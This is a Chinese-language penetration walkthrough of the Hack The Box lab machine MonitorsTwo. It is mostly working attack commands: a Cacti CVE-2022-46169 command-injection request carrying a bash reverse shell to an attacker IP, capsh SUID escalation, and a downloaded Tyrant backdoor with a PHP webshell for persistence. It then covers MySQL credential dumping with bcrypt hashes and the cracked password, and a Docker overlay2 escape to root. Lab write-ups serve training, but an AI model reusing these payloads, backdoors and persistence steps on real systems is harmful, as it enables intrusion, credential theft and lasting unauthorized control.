[Meachines] [Easy] MonitorsTwo Cacti-RCE+Docker横向移动+capsh权限提升+TRP00F+Tyrant持久化+Docker逃逸Moby权限提升
字数 1084 2025-08-22 12:23:36
Cacti RCE 到 Docker 逃逸完整渗透教学
1. 信息收集阶段
1.1 主机发现与端口扫描
使用以下命令检查目标主机是否在线并扫描开放端口:
ip='10.10.11.211';
itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
扫描结果:
- 22/tcp: OpenSSH 8.2p1 Ubuntu
- 80/tcp: nginx 1.18.0 (Ubuntu) 运行 Cacti
2. Cacti RCE 漏洞利用 (CVE-2022-46169)
2.1 漏洞验证
使用curl验证漏洞是否存在:
curl -G "http://10.10.11.211/remote_agent.php" \
--data-urlencode "action=polldata" \
--data-urlencode "local_data_ids[0]=6" \
--data-urlencode "host_id=1" \
--data-urlencode "poller_id=%3Bping 10.10.16.28%3B" \
-H "X-Forwarded-For: 127.0.0.1"
2.2 利用漏洞获取反向shell
使用公开的Python利用脚本:
https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit/blob/main/cacti.py
或者手动构造payload:
curl -G "http://10.10.11.211/remote_agent.php" \
--data-urlencode "action=polldata" \
--data-urlencode "local_data_ids[0]=6" \
--data-urlencode "host_id=1" \
--data-urlencode "poller_id=%3Bbash -c 'bash -i >& /dev/tcp/10.10.16.28/4444 0>&1'%3B" \
-H "X-Forwarded-For: 127.0.0.1"
3. Docker容器内权限提升
3.1 检查SUID文件
发现capsh具有SUID权限:
find / -perm -4000 2>/dev/null | grep capsh
3.2 利用capsh提权
/sbin/capsh --gid=0 --uid=0 --
4. 持久化后门部署
4.1 使用Tyrant后门
下载并执行Tyrant后门:
wget http://10.10.16.28/tyrant
chmod +x ./tyrant
./tyrant
4.2 部署Webshell
上传PHP webshell:
<?php
$uid = isset($_GET['uid']) ? escapeshellarg($_GET['uid']) : '';
$rhost = isset($_GET['rhost']) ? escapeshellarg($_GET['rhost']) : '';
$rport = isset($_GET['rport']) ? escapeshellarg($_GET['rport']) : '';
if ($uid && $rhost && $rport) {
$command = "/tmp/tyrant -uid $uid -rhost $rhost -rport $rport";
exec($command, $output, $status);
}
?>
通过curl上传:
curl http://10.10.16.28/tyrant.txt > tyrant.php
触发后门:
curl 'http://10.10.11.211/tyrant.php?uid=0&rhost=10.10.16.28&rport=10032'
5. 横向移动
5.1 数据库凭证获取
mysql -h db -u root -proot cacti -e 'select username,password from user_auth;'
5.2 密码破解
将哈希保存到文件:
echo -e '$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC\n$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C' > hash
使用John the Ripper破解:
john hash --wordlist=/usr/share/wordlists/rockyou.txt
发现密码:funkymonkey
5.3 SSH登录
ssh marcus@10.10.11.211
获取user flag:
7abf4f934a50a4d9c3165324c86c548f
6. Docker逃逸与root权限提升
6.1 检查Docker版本
docker --version
确认版本低于20.10.9,存在漏洞
6.2 查找挂载点
findmnt
6.3 容器内检查挂载
mount | grep '/'
6.4 利用Docker逃逸
找到容器在宿主机上的文件系统路径:
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
6.5 获取root权限
chmod u+s /bin/bash
/bin/bash -p
获取root flag:
e83ef03926819b6803798da32fcc3b26
7. 关键工具与资源
-
Cacti RCE利用脚本:
- https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit
-
TRP00F提权工具:
- https://github.com/MartinxMax/trp00f
-
Tyrant后门工具:
- https://github.com/MartinxMax/Tyrant
-
密码破解字典:
- rockyou.txt
8. 防御建议
- 及时更新Cacti到最新版本
- 限制Docker容器权限
- 定期审计SUID文件
- 监控异常网络连接
- 使用强密码策略
- 更新Docker到最新版本